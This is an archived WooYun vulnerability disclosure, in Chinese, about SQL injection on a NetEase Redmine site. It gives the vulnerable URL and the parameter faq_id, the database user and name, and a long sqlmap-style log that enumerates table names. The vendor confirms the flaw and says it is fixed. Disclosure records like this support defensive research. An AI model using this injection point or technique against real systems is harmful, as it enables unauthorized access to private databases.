乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-05-16: 细节已通知厂商并且等待厂商处理中 2016-05-17: 厂商已经确认,细节仅向厂商公开 2016-05-27: 细节向核心白帽子及相关领域专家公开 2016-06-06: 细节向普通白帽子公开 2016-06-16: 细节向实习白帽子公开 2016-07-01: 细节向公众公开
网易某站点MySQL注射
注射点:
http://pmo.pm.netease.com/ezfaq/show?id=redmine-system-builder&faq_id=43
参数 faq_id可以注入。
current user: '[email protected]'current database: 'redminepmo'
数据跑起来比较慢,用几个表做验证:
[10:42:42] [INFO] fetching tables for database: 'redminepmo'[10:42:42] [INFO] fetching number of tables for database 'redminepmo'[10:42:42] [INFO] resumed: 153[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 11[10:42:42] [INFO] resumed: attachments[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: auth_sources[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 6[10:42:42] [INFO] resumed: boards[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 13[10:42:42] [INFO] resumed: book_chapters[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 5[10:42:42] [INFO] resumed: books[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 7[10:42:42] [INFO] resumed: changes[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 17[10:42:42] [INFO] resumed: changeset_parents[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 10[10:42:42] [INFO] resumed: changesets[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 17[10:42:42] [INFO] resumed: changesets_issues[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 17[10:42:42] [INFO] resumed: chart_done_ratios[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 20[10:42:42] [INFO] resumed: chart_issue_statuses[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 22[10:42:42] [INFO] resumed: chart_saved_conditions[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 18[10:42:42] [INFO] resumed: chart_time_entries[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 6[10:42:42] [INFO] resumed: cnotes[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 8[10:42:42] [INFO] resumed: comments[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 13[10:42:42] [INFO] resumed: custom_fields[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 22[10:42:42] [INFO] resumed: custom_fields_projects[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 22[10:42:42] [INFO] resumed: custom_fields_trackers[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 14[10:42:42] [INFO] resumed: custom_periods[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 20[10:42:42] [INFO] resumed: custom_role_trackers[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 22[10:42:42] [INFO] resumed: custom_stat_mod_charts[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 25[10:42:42] [INFO] resumed: custom_stat_mod_templates[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 13[10:42:42] [INFO] resumed: custom_values[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: delayed_jobs[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 13[10:42:42] [INFO] resumed: document_dirs[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 14[10:42:42] [INFO] resumed: document_infos[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 9[10:42:42] [INFO] resumed: documents[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 15[10:42:42] [INFO] resumed: enabled_modules[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: enumerations[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 14[10:42:42] [INFO] resumed: faq_categories[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: faq_settings[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: faq_versions[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 4[10:42:42] [INFO] resumed: faqs[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 12[10:42:42] [INFO] resumed: groups_users[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 22[10:42:42] [INFO] resumed: impasse_execution_bugs[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 27[10:42:42] [INFO] resumed: impasse_execution_histories[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 18[10:42:42] [INFO] resumed: ihlasse\\executions[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 16[10:42:42] [INFO] resumed: impasse_keywords[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 21[10:42:42] [INFO] resumed: impasse_node_keywords[10:42:42] [INFO] retrieving the length of query output[10:42:42] [INFO] resumed: 18[10:42:48] [INFO] retrieved: impasse_node______ 13/18 (72%)
过滤,转义
危害等级:高
漏洞Rank:12
确认时间:2016-05-17 11:22
漏洞已修复,感谢您对网易的关注!
暂无